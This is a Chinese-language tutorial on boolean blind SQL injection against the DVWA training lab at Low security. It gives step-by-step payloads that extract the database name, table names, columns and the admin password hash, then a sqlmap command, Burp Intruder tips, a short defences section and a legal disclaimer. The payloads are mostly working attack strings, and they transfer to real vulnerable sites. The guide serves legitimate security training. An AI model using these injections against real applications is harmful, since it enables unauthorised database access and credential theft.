【DVWA系列】——SQL注入(布尔盲注)详细教程

发布于:2025-07-14 ⋅ 阅读:(17) ⋅ 点赞:(0)

本文仅用于技术研究,禁止用于非法用途。
Author:枷锁


本文环境Security Level:low
以下是 DVWA SQL布尔盲注(Blind SQL Injection)Low级别 的详细教程,结合手工注入核心步骤和技巧,快速掌握实战方法:


一、Low级别漏洞分析

  1. 漏洞原理
    • 代码直接拼接用户输入到SQL语句,无任何过滤:
      $id = $_GET['id'];
      $query = "SELECT ... WHERE user_id = '$id';"; // 单引号包裹,字符型注入
      
    • 页面仅返回 “User ID exists”(存在)“User ID is MISSING”(不存在) 两种状态。
    • 盲注核心:通过真假条件触发不同页面响应,间接推断数据库信息。

二、手工注入步骤(附Payload)

1. 判断注入类型

  • Payload:
    1' AND 1=1#  → 返回 "exists"(真)
    1' AND 1=2#  → 返回 "MISSING"(假)
    

在这里插入图片描述
在这里插入图片描述
结论:存在字符型注入(需单引号闭合)。

2. 猜解数据库名长度

  • Payload:
    1' AND length(DATABASE())=1# → MISSING
    1' AND LENGTH(DATABASE())=2# → MISSING
    ...
    1' AND LENGTH(DATABASE())=4# → exists
    
    结论:数据库名长度为 4(DVWA)。
    (注意:可以通过>、<、=快速锁定范围)

3. 逐字符猜解数据库名

substr()函数进行字符串的截取,substr(string,start,length)string是要截取的字符串,start是从哪个位置开始,length是截取长度。

  • Payload:
    -- 猜第一个字符(ASCII码二分法)
    1' AND ASCII(SUBSTRING(DATABASE(),1,1))>97# → exists(大于'a')
    1' AND ASCII(SUBSTRING(DATABASE(),1,1))<100# → MISSING
    1' AND ASCII(SUBSTRING(DATABASE(),1,1))=100# → exists → 字符 'd'
 重复步骤:依次猜解第2~4位字符(`v`、`w`、`a`),得到数据库名 `dvwa`。
    -- 猜第二个字符(ASCII码二分法)
    1' AND ASCII(SUBSTRING(DATABASE(),2,1))>97# → exists(大于'a')
    1' AND ASCII(SUBSTRING(DATABASE(),2,1))<100# → MISSING
    1' AND ASCII(SUBSTRING(DATABASE(),2,1))=100# → exists → 字符 'd'

或者

   1' AND ASCII(SUBSTRING(DATABASE(),4,1))='a'# → exists(就是'a')

4. 猜解表名

  • 步骤1:猜表数量
    1' AND (SELECT COUNT(table_name) FROM information_schema.tables WHERE table_schema='dvwa')=2# → exists
    
    结论:共 2 张表
  • 步骤2:猜表名长度
    -- 第一张表长度
    1' AND LENGTH((SELECT table_name FROM information_schema.tables WHERE table_schema='dvwa' LIMIT 0,1))=9# → exists(表名长度9)
    -- 第二张表长度
    1' AND LENGTH((SELECT table_name ... LIMIT 1,1))=5# → exists(表名长度5)
    
  • 步骤3:逐字符猜表名
    -- 猜第一张表首字符
    1' AND ASCII(SUBSTRING((SELECT table_name ... LIMIT 0,1),1,1))=103# → exists → 'g'
    
    最终结果:表名 guestbook(9字符)users(5字符)

5. 猜解列名与数据

  • users表的列名
    -- 判断是否存在'user'列
    1' AND (SELECT COUNT(*) FROM information_schema.columns WHERE table_name='users' AND column_name='user')=1# → exists
    
    同理:验证 password 列存在。
  • 猜用户数据
    -- 猜admin的密码首字符(MD5值)
    1' AND ASCII(SUBSTRING((SELECT password FROM users WHERE user='admin'),1,1))=53# → exists → '5'(MD5开头字符)
    
    最终:可提取全部账号密码(如 admin:5f4dcc3b5aa765d61d8327deb882cf99)。

三、高效技巧

  1. 二分法加速猜解

    • >、<、= 快速缩小ASCII码范围(如 ASCII(SUBSTRING(...))>100)。
  2. 自动化工具(sqlmap)

    sqlmap -u "http://靶机IP/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit" \
      --cookie="security=low; PHPSESSID=你的session" \
      --technique=B --batch --dbs
    

    参数说明

    • --technique=B:布尔盲注模式
    • --dbs:爆所有数据库名。
  3. Burp Suite辅助

    • Intruder 模块自动化爆破字符(Cluster Bomb模式)。

四、防御措施

  • 根本方案:使用参数化查询(Prepared Statements)。
  • 临时加固
    • 过滤输入(如 mysqli_real_escape_string()
    • 统一错误消息(避免泄露状态差异)。

总结

  • 攻击链:判断注入类型 → 猜库名 → 猜表名 → 猜列名 → 猜数据。
  • 核心技巧二分法状态差异判断 是手工盲注的关键。
  • 工具选择:手工练原理,sqlmap提效率

附:MD5解密网站 https://www.cmd5.com/(5f4dcc3b5aa765d61d8327deb882cf99 = password)。

宇宙级免责声明​​
🚨 重要声明:本文仅供合法授权下的安全研究与教育目的!🚨
1.合法授权:本文所述技术仅适用于已获得明确书面授权的目标或自己的靶场内系统。未经授权的渗透测试、漏洞扫描或暴力破解行为均属违法,可能导致法律后果(包括但不限于刑事指控、民事诉讼及巨额赔偿)。
2.道德约束:黑客精神的核心是建设而非破坏。请确保你的行为符合道德规范,仅用于提升系统安全性,而非恶意入侵、数据窃取或服务干扰。
3.风险自担:使用本文所述工具和技术时,你需自行承担所有风险。作者及发布平台不对任何滥用、误用或由此引发的法律问题负责。
4.合规性:确保你的测试符合当地及国际法律法规(如《计算机欺诈与滥用法案》(CFAA)、《通用数据保护条例》(GDPR)等)。必要时,咨询法律顾问。
5.最小影响原则:测试过程中应避免对目标系统造成破坏或服务中断。建议在非生产环境或沙箱环境中进行演练。
6.数据保护:不得访问、存储或泄露任何未授权的用户数据。如意外获取敏感信息,应立即报告相关方并删除。
7.免责范围:作者、平台及关联方明确拒绝承担因读者行为导致的任何直接、间接、附带或惩罚性损害责任。

🔐 安全研究的正确姿势:
✅ 先授权,再测试
✅ 只针对自己拥有或有权测试的系统
✅ 发现漏洞后,及时报告并协助修复
✅ 尊重隐私,不越界

⚠️ 警告:技术无善恶,人心有黑白。请明智选择你的道路。

希望这个教程对你有所帮助!记得负责任地进行安全测试。


网站公告

今日签到

点亮在社区的每一天
去签到